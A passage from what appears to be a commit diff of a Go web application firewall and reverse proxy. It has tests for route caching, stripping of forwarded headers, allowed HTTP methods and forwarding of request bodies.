t.Errorf(
"Route gave %q after %s while routewatch hangs, want %q at once",
missing,
waited,
routewatch.NoAnswerYet,
)
}
f.waitFor(routewatch.RequestFailed)
f.wantFailureLoggedWithoutTheClient()
})
}
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
t.Parallel()
release := make(chan struct{})
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
<-release
_, _ = w.Write([]byte(routedAnswer))
})
for range 50 {
f.route()
}
close(release)
f.waitFor("")
for range 50 {
f.route()
}
if got := f.queries.Load(); got != 1 {
t.Errorf("%d queries for repeated requests, want 1", got)
}
f.clk.advance(time.Hour)
f.waitFor(routewatch.NoAnswerYet)
f.waitFor("")
if got := f.queries.Load(); got != 2 {
t.Errorf("%d queries after the answer expired, want 2", got)
}
}
func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
f.route()
f.waitFor("")
want := []routewatch.Answer{{
Client: netip.MustParsePrefix(clientAddr + "/32"),
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
Answered: f.clk.Now(),
}}
if got := f.client.Snapshot(); !slices.Equal(got, want) {
t.Errorf("snapshot %+v, want %+v", got, want)
}
f.clk.advance(time.Hour)
if got := f.client.Snapshot(); len(got) != 0 {
t.Errorf("snapshot %+v an hour after the answer, want none", got)
}
}
func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
now := f.clk.Now()
kept := routewatch.Answer{
Client: netip.MustParsePrefix(clientAddr + "/32"),
Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
Answered: now.Add(-time.Hour + time.Second),
}
stale := routewatch.Answer{
Client: netip.MustParsePrefix("192.0.2.2/32"),
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
Answered: now.Add(-time.Hour),
}
f.client.Load([]routewatch.Answer{kept, stale})
if got := f.client.Snapshot(); !slices.Equal(
got,
[]routewatch.Answer{kept},
) {
t.Errorf(
"kept %+v, want only the answer that came less than an hour ago",
got,
)
}
route, missing := f.route()
want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
if route != want || missing != "" {
t.Errorf("route %+v (%q), want %+v", route, missing, want)
}
if got := f.queries.Load(); got != 0 {
t.Errorf(
"%d queries for a client with an answer loaded, want none",
got,
)
}
}
func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
t.Parallel()
const maxAnswers = 100000
f := newFixture(t, answering(routedAnswer))
now := f.clk.Now()
// routewatch.json lists the answers by client. Here each came a
// millisecond before the one listed before it, so the last listed is
// the one that came longest ago, and the one dropped.
answers := make([]routewatch.Answer, maxAnswers+1)
addr := netip.MustParseAddr("10.0.0.0")
for i := range answers {
answers[i] = routewatch.Answer{
Client: netip.PrefixFrom(addr, addr.BitLen()),
Answered: now.Add(-time.Duration(i) * time.Millisecond),
}
addr = addr.Next()
}
f.client.Load(answers)
got := f.client.Snapshot()
if len(got) != maxAnswers {
t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
}
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
t.Errorf(
"answers kept from %s to %s, want from %s to %s",
got[0].Client,
got[maxAnswers-1].Client,
answers[0].Client,
answers[maxAnswers-1].Client,
)
}
}
+32 -8
View File
@@ -6,20 +6,21 @@ import (
"io" "io"
"net" "net"
"net/http" "net/http"
"sync"
"sync/atomic" "sync/atomic"
) )
// errResponseTooLarge ends an app's response body that is longer than // errResponseTooLarge ends an app's response body that is longer than
// SWRP_MAX_RESPONSE_SIZE. // SWW_RPROXY_MAX_RESPONSE_SIZE.
var errResponseTooLarge = errors.New( var errResponseTooLarge = errors.New(
"the response body is over SWRP_MAX_RESPONSE_SIZE") "the response body is over SWW_RPROXY_MAX_RESPONSE_SIZE")
// requestBody is the visitor's request body. rproxy first reads up to the first // requestBody is the visitor's request body. rproxy first reads up to the first
// 64 KiB of it into held, and then, on its way to the app, the transport reads // 64 KiB of it into held, and then, on its way to the app, the transport reads
// it on a goroutine of its own. // it on a goroutine of its own.
type requestBody struct { type requestBody struct {
// body is the visitor's body, ending in an *http.MaxBytesError past // body is the visitor's body, ending in an *http.MaxBytesError past
// SWRP_MAX_REQUEST_SIZE. // SWW_RPROXY_MAX_REQUEST_SIZE.
body io.ReadCloser body io.ReadCloser
rq *request rq *request
// held is the part read before the request goes to the app, which Read gives // held is the part read before the request goes to the app, which Read gives
@@ -31,11 +32,24 @@ type requestBody struct {
received atomic.Bool received atomic.Bool
// bytes is how much of the body has been read. // bytes is how much of the body has been read.
bytes atomic.Int64 bytes atomic.Int64
// mu is held for the whole of each Read, and guards stopped.
mu sync.Mutex
// stopped is true once the body no longer goes to the app; Read then reads
// no more.
stopped bool
} }
// Read reads from the visitor's body, after the part held, which has been // Read reads from the visitor's body, after the part held, which has been
// counted already. // counted already.
func (b *requestBody) Read(p []byte) (int, error) { func (b *requestBody) Read(p []byte) (int, error) {
b.mu.Lock()
defer b.mu.Unlock()
if b.stopped {
return 0, http.ErrBodyReadAfterClose
}
if len(b.held) > 0 { if len(b.held) > 0 {
n := copy(p, b.held) n := copy(p, b.held)
b.held = b.held[n:] b.held = b.held[n:]
@@ -60,15 +74,17 @@ func (b *requestBody) Read(p []byte) (int, error) {
return n, err return n, err
} }
// Close closes the visitor's body. // Close does nothing: Go's server closes the visitor's body once the handler
// returns. Closing it earlier, as the transport and ReverseProxy do, would wait
// for a Read in progress and then read up to 256 KiB more of the body.
func (b *requestBody) Close() error { func (b *requestBody) Close() error {
return b.body.Close() return nil
} }
// responseBody is the app's response body on its way to the visitor. // responseBody is the app's response body on its way to the visitor.
type responseBody struct { type responseBody struct {
// body is the app's body, ending in an *http.MaxBytesError past // body is the app's body, ending in an *http.MaxBytesError past
// SWRP_MAX_RESPONSE_SIZE. // SWW_RPROXY_MAX_RESPONSE_SIZE.
body io.ReadCloser body io.ReadCloser
rq *request rq *request
} }
@@ -163,6 +179,8 @@ type responseWriter struct {
// status is the final status sent, or zero before one is. // status is the final status sent, or zero before one is.
status int status int
bytes int64 bytes int64
// afterStatus, if set, is called once the final status has been written.
afterStatus func()
} }
// WriteHeader sends the status and headers. An informational 1xx status is // WriteHeader sends the status and headers. An informational 1xx status is
@@ -173,6 +191,10 @@ func (w *responseWriter) WriteHeader(status int) {
} }
w.ResponseWriter.WriteHeader(status) w.ResponseWriter.WriteHeader(status)
if status >= http.StatusOK && w.afterStatus != nil {
w.afterStatus()
}
} }
// Write sends part of the body. // Write sends part of the body.
@@ -181,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) {
w.status = http.StatusOK w.status = http.StatusOK
} }
n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given //nolint:gosec // the answer, as it was given
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n) w.bytes += int64(n)
return n, err return n, err
@@ -196,7 +219,8 @@ func (w *responseWriter) FlushError() error {
// Hijack takes over the connection to the visitor, which ReverseProxy does only // Hijack takes over the connection to the visitor, which ReverseProxy does only
// to pass on the app's 101 Switching Protocols: that is then the status sent. // to pass on the app's 101 Switching Protocols: that is then the status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack() conn, buffered, err := http.NewResponseController(w.ResponseWriter).
Hijack()
if err == nil { if err == nil {
w.status = http.StatusSwitchingProtocols w.status = http.StatusSwitchingProtocols
} }
+15 -12
View File
@@ -18,7 +18,7 @@ const (
) )
// peerAddress is the address of the request's TCP peer, normally traefik, without // peerAddress is the address of the request's TCP peer, normally traefik, without
// any IPv6 zone, which servewaf refuses. // any IPv6 zone, which waf refuses.
func peerAddress(r *http.Request) netip.Addr { func peerAddress(r *http.Request) netip.Addr {
addrPort, err := netip.ParseAddrPort(r.RemoteAddr) addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
if err != nil { if err != nil {
@@ -34,7 +34,7 @@ func peerAddress(r *http.Request) netip.Addr {
// address outside them is the visitor; if every address in it is inside, the // address outside them is the visitor; if every address in it is inside, the
// leftmost is, and with no header, the peer. An entry that is not an address // leftmost is, and with no header, the peer. An entry that is not an address
// ends the reading, since nothing to its left can be believed. The visitor's // ends the reading, since nothing to its left can be believed. The visitor's
// address never has an IPv6 zone, which servewaf refuses. // address never has an IPv6 zone, which waf refuses.
func clientAddress( func clientAddress(
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix, peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
) netip.Addr { ) netip.Addr {
@@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
// X-Forwarded-For. Those of any other peer are its own claims and are replaced: // X-Forwarded-For. Those of any other peer are its own claims and are replaced:
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
// X-Forwarded-Proto plain http, which is how it reached rproxy. // X-Forwarded-Proto plain http, which is how it reached rproxy.
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) { func setForwardedHeaders(
in, out *http.Request,
peer netip.Addr,
trusted bool,
) {
forwardedFor := peer.String() forwardedFor := peer.String()
if trusted { if trusted {
@@ -105,15 +109,14 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
return return
} }
// ReverseProxy has removed Forwarded and the three set below; these are the // An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
// other headers in which traefik tells the app about the visitor and its // a name is matched with each _ read as - and in any letter case.
// request. for name := range out.Header {
for _, name := range []string{ spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri", if strings.HasPrefix(spelt, "x-forwarded-") ||
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert", spelt == "forwarded" || spelt == "x-real-ip" {
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip", delete(out.Header, name)
} { }
out.Header.Del(name)
} }
out.Header.Set("X-Forwarded-For", forwardedFor) out.Header.Set("X-Forwarded-For", forwardedFor)
File diff suppressed because it is too large. Load diff
+138 -62
View File
@@ -12,11 +12,11 @@ import (
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/servewaf" "sneak.berlin/go/smallwebwaf/internal/waf"
) )
// questionBodyMaxBytes is the most of a body a question carries. // questionBodyMaxBytes is the most of a body a question carries.
const questionBodyMaxBytes = servewaf.QuestionBodyMaxBytes const questionBodyMaxBytes = waf.QuestionBodyMaxBytes
// chunked is the encoding of a body whose length the visitor did not announce. // chunked is the encoding of a body whose length the visitor did not announce.
const chunked = "chunked" const chunked = "chunked"
@@ -29,7 +29,7 @@ const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) { func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil) addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -42,9 +42,9 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
req.Header.Set(forwardedForHeader, "198.51.100.1") req.Header.Set(forwardedForHeader, "198.51.100.1")
req.Header.Set(forwardedProtoHeader, "gopher") req.Header.Set(forwardedProtoHeader, "gopher")
req.Header.Set(requestIDHeader, "the-visitor's") req.Header.Set(requestIDHeader, "the-visitor's")
req.Header.Set(servewaf.ClientHeader, "198.51.100.2") req.Header.Set(waf.ClientHeader, "198.51.100.2")
req.Header.Set(servewaf.PeerHeader, "198.51.100.3") req.Header.Set(waf.PeerHeader, "198.51.100.3")
req.Header.Set(servewaf.ContentLengthHeader, "12345") req.Header.Set(waf.ContentLengthHeader, "12345")
// Go's client then sends no User-Agent, so that one in the question would be // Go's client then sends no User-Agent, so that one in the question would be
// Go's own. // Go's own.
req.Header["User-Agent"] = nil req.Header["User-Agent"] = nil
@@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if asked.method != http.MethodDelete || asked.target != target || if asked.method != http.MethodDelete || asked.target != target ||
asked.host != site { asked.host != site {
t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host) t.Errorf(
"asked about %s %s at %s",
asked.method,
asked.target,
asked.host,
)
} }
if asked.header.Get(requestIDHeader) == "the-visitor's" { if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -68,11 +73,15 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
want.Set(forwardedForHeader, "198.51.100.1") want.Set(forwardedForHeader, "198.51.100.1")
want.Set(forwardedProtoHeader, "http") want.Set(forwardedProtoHeader, "http")
want.Set(requestIDHeader, asked.header.Get(requestIDHeader)) want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
want.Set(servewaf.ClientHeader, localhost) want.Set(waf.ClientHeader, localhost)
want.Set(servewaf.PeerHeader, localhost) want.Set(waf.PeerHeader, localhost)
if !maps.EqualFunc(asked.header, want, slices.Equal) { if !maps.EqualFunc(asked.header, want, slices.Equal) {
t.Errorf("the question's headers are %v, want %v", asked.header, want) t.Errorf(
"the question's headers are %v, want %v",
asked.header,
want,
)
} }
} }
@@ -93,16 +102,21 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
forwarded := make(chan http.Header, 1) forwarded := make(chan http.Header, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) { app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
forwarded <- r.Header.Clone() forwarded <- r.Header.Clone()
greet(w, r) greet(w, r)
}) })
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ addr, out := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
trustedProxies: tc.trusted, trustedProxies: tc.trusted,
}) },
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedForHeader, visitor) req.Header.Set(forwardedForHeader, visitor)
@@ -110,8 +124,8 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
wantGreeting(t, visit(t, req)) wantGreeting(t, visit(t, req))
asked := standIn.question(t) asked := standIn.question(t)
if asked.header.Get(servewaf.ClientHeader) != tc.client || if asked.header.Get(waf.ClientHeader) != tc.client ||
asked.header.Get(servewaf.PeerHeader) != localhost || asked.header.Get(waf.PeerHeader) != localhost ||
asked.header.Get(forwardedForHeader) != visitor || asked.header.Get(forwardedForHeader) != visitor ||
asked.header.Get(forwardedProtoHeader) != tc.proto { asked.header.Get(forwardedProtoHeader) != tc.proto {
t.Errorf("the question's headers are %v", asked.header) t.Errorf("the question's headers are %v", asked.header)
@@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
} }
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded { if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded) t.Errorf(
"the app saw %s %q, want %q",
forwardedForHeader,
got,
tc.forwarded,
)
} }
}) })
} }
@@ -157,17 +176,23 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8", trustedProxies: localhost + "/32,10.0.0.0/8",
}) },
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header[forwardedForHeader] = tc.header req.Header[forwardedForHeader] = tc.header
wantGreeting(t, visit(t, req)) wantGreeting(t, visit(t, req))
if got := standIn.question(t).header.Get(servewaf.ClientHeader); got != tc.client { if got := standIn.question(t).header.Get(waf.ClientHeader); got !=
tc.client {
t.Errorf("the question names %s, want %s", got, tc.client) t.Errorf("the question names %s, want %s", got, tc.client)
} }
}) })
@@ -182,7 +207,7 @@ func randomBytes(n int) []byte {
return body return body
} }
func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) { func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Parallel() t.Parallel()
for _, size := range []int{ for _, size := range []int{
@@ -197,17 +222,26 @@ func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Parallel() t.Parallel()
body := randomBytes(size) body := randomBytes(size)
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
received := make(chan []byte, 1) received := make(chan []byte, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) { app := startApp(
t,
func(w http.ResponseWriter, r *http.Request) {
whole, _ := io.ReadAll(r.Body) whole, _ := io.ReadAll(r.Body)
received <- whole received <- whole
greet(w, r) greet(w, r)
}) },
)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil) addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body)) req := newRequest(
t,
http.MethodPost,
addr,
"/",
bytes.NewReader(body),
)
if !announced { if !announced {
// Go's client sends a body of unknown length in chunks. // Go's client sends a body of unknown length in chunks.
req.ContentLength = -1 req.ContentLength = -1
@@ -223,7 +257,9 @@ func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Error("the app did not get the whole body") t.Error("the app did not get the whole body")
} }
if report := standIn.report(t); report.RequestBytes != int64(size) { if report := standIn.report(t); report.RequestBytes != int64(
size,
) {
t.Errorf("report %+v, of %d bytes", report, size) t.Errorf("report %+v, of %d bytes", report, size)
} }
}) })
@@ -239,11 +275,14 @@ func wantQuestionBody(
t.Helper() t.Helper()
if !bytes.Equal(asked.body, want) { if !bytes.Equal(asked.body, want) {
t.Errorf("the question carries %d bytes, want the first %d", len(asked.body), t.Errorf(
len(want)) "the question carries %d bytes, want the first %d",
len(asked.body),
len(want),
)
} }
values := asked.header.Values(servewaf.ContentLengthHeader) values := asked.header.Values(waf.ContentLengthHeader)
if announced { if announced {
if !slices.Equal(values, []string{strconv.Itoa(size)}) || if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
@@ -255,16 +294,20 @@ func wantQuestionBody(
return return
} }
if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) { if len(values) != 0 ||
t.Errorf("announced %v and encoded %v, want none and chunked", values, !slices.Equal(asked.transferEncoding, []string{chunked}) {
asked.transferEncoding) t.Errorf(
"announced %v and encoded %v, want none and chunked",
values,
asked.transferEncoding,
)
} }
} }
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) { func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil) addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -275,7 +318,7 @@ func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
strings.Repeat("x", questionBodyMaxBytes)) strings.Repeat("x", questionBodyMaxBytes))
if status := readStatus(t, conn); status != http.StatusForbidden { if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want servewaf's 403", status) t.Errorf("status %d, want waf's 403", status)
} }
if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes { if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
@@ -306,21 +349,30 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
t.Run(method+" "+tc.name, func(t *testing.T) { t.Run(method+" "+tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, deny) standIn := startWAF(t, deny)
addr, _ := startRProxy(t, standIn.URL, nowhere, nil) addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing) send(
t,
conn,
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
)
if status := readStatus(t, conn); status != http.StatusForbidden { if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want servewaf's 403", status) t.Errorf("status %d, want waf's 403", status)
} }
asked := standIn.question(t) asked := standIn.question(t)
if string(asked.body) != tc.body || if string(asked.body) != tc.body ||
!slices.Equal(asked.transferEncoding, tc.encoding) { !slices.Equal(asked.transferEncoding, tc.encoding) {
t.Errorf("the question carries %q, encoded %v, want %q, encoded %v", t.Errorf(
asked.body, asked.transferEncoding, tc.body, tc.encoding) "the question carries %q, encoded %v, want %q, encoded %v",
asked.body,
asked.transferEncoding,
tc.body,
tc.encoding,
)
} }
}) })
} }
@@ -330,11 +382,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) { func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
t.Parallel() t.Parallel()
for _, method := range []string{http.MethodTrace, "PROPFIND", "LOCK", "BREW"} { for _, method := range []string{http.MethodTrace, "BREW"} {
t.Run(method, func(t *testing.T) { t.Run(method, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
@@ -342,18 +394,25 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody)) got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed || if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY" { got.header.Get(
t.Errorf("answered %+v, want 405 naming the methods passed on", got) "Allow",
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" {
t.Errorf(
"answered %+v, want 405 naming the methods passed on",
got,
)
} }
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusMethodNotAllowed) || if line["status"] != float64(http.StatusMethodNotAllowed) ||
line["disposition"] != nil || line["default_disposition"] != nil { line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
t.Errorf("line %v, want status 405 and no disposition", line) t.Errorf("line %v, want status 405 and no disposition", line)
} }
if len(standIn.questions) != 0 { if len(standIn.questions) != 0 {
t.Error("servewaf was asked") t.Error("waf was asked")
} }
standIn.wantNoReport(t) standIn.wantNoReport(t)
@@ -361,18 +420,20 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
} }
} }
func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) { func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
t.Parallel() t.Parallel()
for _, method := range []string{ for _, method := range []string{
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions, http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY", http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
"LOCK", "UNLOCK", "MKCALENDAR",
} { } {
t.Run(method, func(t *testing.T) { t.Run(method, func(t *testing.T) {
t.Parallel() t.Parallel()
reached := make(chan string, 1) reached := make(chan string, 1)
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
reached <- r.Method reached <- r.Method
}) })
@@ -384,7 +445,7 @@ func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) {
} }
if asked := standIn.question(t); asked.method != method { if asked := standIn.question(t); asked.method != method {
t.Errorf("servewaf was asked about %s", asked.method) t.Errorf("waf was asked about %s", asked.method)
} }
if atApp := <-reached; atApp != method { if atApp := <-reached; atApp != method {
@@ -394,7 +455,7 @@ func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) {
} }
} }
func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) { func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
t.Parallel() t.Parallel()
const host = "Host: site.example\r\n\r\n" const host = "Host: site.example\r\n\r\n"
@@ -416,7 +477,7 @@ func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
t.Run(name, func(t *testing.T) { t.Run(name, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil) addr, out := startRProxy(t, standIn.URL, app.URL, nil)
@@ -429,12 +490,12 @@ func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusBadRequest) || if line["status"] != float64(http.StatusBadRequest) ||
line["disposition"] != nil || line["default_disposition"] != nil { line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
t.Errorf("line %v, want status 400 and no disposition", line) t.Errorf("line %v, want status 400 and no disposition", line)
} }
if len(standIn.questions) != 0 { if len(standIn.questions) != 0 {
t.Error("servewaf was asked") t.Error("waf was asked")
} }
standIn.wantNoReport(t) standIn.wantNoReport(t)
@@ -442,12 +503,12 @@ func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
} }
} }
func TestAHostWithAPercentSignButNoBracketGoesToServeWAF(t *testing.T) { func TestAHostWithAPercentSignButNoBracketGoesToWAF(t *testing.T) {
t.Parallel() t.Parallel()
const host = "a%b" const host = "a%b"
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil) addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -468,7 +529,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
const want = "http" const want = "http"
standIn := startServeWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32", trustedProxies: localhost + "/32",
@@ -478,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
asked := standIn.question(t) asked := standIn.question(t)
if got := asked.header.Get(forwardedProtoHeader); got != want { if got := asked.header.Get(forwardedProtoHeader); got != want {
t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want) t.Errorf(
"the question's %s is %q, want %s",
forwardedProtoHeader,
got,
want,
)
} }
} }
@@ -497,21 +563,31 @@ func TestAQuestionNamesNoZone(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startServeWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{ _, out, server := startServer(
t,
standIn.URL,
app.URL,
map[string]string{
trustedProxies: localhost + "/32", trustedProxies: localhost + "/32",
}) },
)
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody) req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
req.RemoteAddr = tc.remoteAddr req.RemoteAddr = tc.remoteAddr
req.Header.Set(forwardedForHeader, tc.forwardedFor) req.Header.Set(forwardedForHeader, tc.forwardedFor)
server.Handler.ServeHTTP(httptest.NewRecorder(), req) server.Handler.ServeHTTP(httptest.NewRecorder(), req)
asked := standIn.question(t) asked := standIn.question(t)
if asked.header.Get(servewaf.ClientHeader) != tc.client || if asked.header.Get(waf.ClientHeader) != tc.client ||
asked.header.Get(servewaf.PeerHeader) != tc.peer { asked.header.Get(waf.PeerHeader) != tc.peer {
t.Errorf("the question's headers are %v", asked.header) t.Errorf("the question's headers are %v", asked.header)
} }
+216 -92
View File
@@ -18,20 +18,35 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
